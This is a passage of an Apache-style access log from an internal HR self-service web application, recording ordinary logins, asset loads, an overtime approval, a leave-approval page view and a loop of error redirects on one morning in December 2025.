HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 192.168.40.54 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 304 - 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - 192.168.40.54 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 192.168.139.25 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:01:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.40.54 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.40.54 - - [03/Dec/2025:09:01:27 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:27 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:01:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.40.54 - - [03/Dec/2025:09:01:27 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:27 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 192.168.40.54 - - [03/Dec/2025:09:01:28 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - 192.168.40.54 - - [03/Dec/2025:09:01:28 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:28 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.40.54 - - [03/Dec/2025:09:01:28 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:28 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:28 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - 192.168.40.54 - - [03/Dec/2025:09:01:28 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:28 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.40.54 - - [03/Dec/2025:09:01:28 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:28 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - 192.168.40.54 - - [03/Dec/2025:09:01:29 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:29 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.40.54 - - [03/Dec/2025:09:01:29 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:29 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.40.54 - - [03/Dec/2025:09:01:29 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:29 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.40.54 - - [03/Dec/2025:09:01:29 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:29 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.40.54 - - [03/Dec/2025:09:01:29 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:29 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.40.54 - - [03/Dec/2025:09:01:29 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:29 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.40.54 - - [03/Dec/2025:09:01:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.40.54 - - [03/Dec/2025:09:01:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.40.54 - - [03/Dec/2025:09:01:29 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:29 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.40.54 - - [03/Dec/2025:09:01:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 192.168.40.54 - - [03/Dec/2025:09:01:30 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 304 - 192.168.40.54 - - [03/Dec/2025:09:01:30 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:30 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - 192.168.40.54 - - [03/Dec/2025:09:01:30 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:34 +0800] "GET /eHR/css/default.css HTTP/1.1" 304 - 192.168.40.54 - - [03/Dec/2025:09:01:34 +0800] "GET /eHR/css/default.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:34 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:34 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 192.168.40.54 - - [03/Dec/2025:09:01:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.40.54 - - [03/Dec/2025:09:01:34 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/css/default.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:34 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 192.168.40.54 - - [03/Dec/2025:09:01:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 235218 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 235218 192.168.139.25 - - [03/Dec/2025:09:01:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:01:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:01:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 23806 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:01:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 23806 192.168.40.54 - - [03/Dec/2025:09:01:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.40.54 - - [03/Dec/2025:09:01:40 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:40 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132701%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132701&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132701%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132701&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 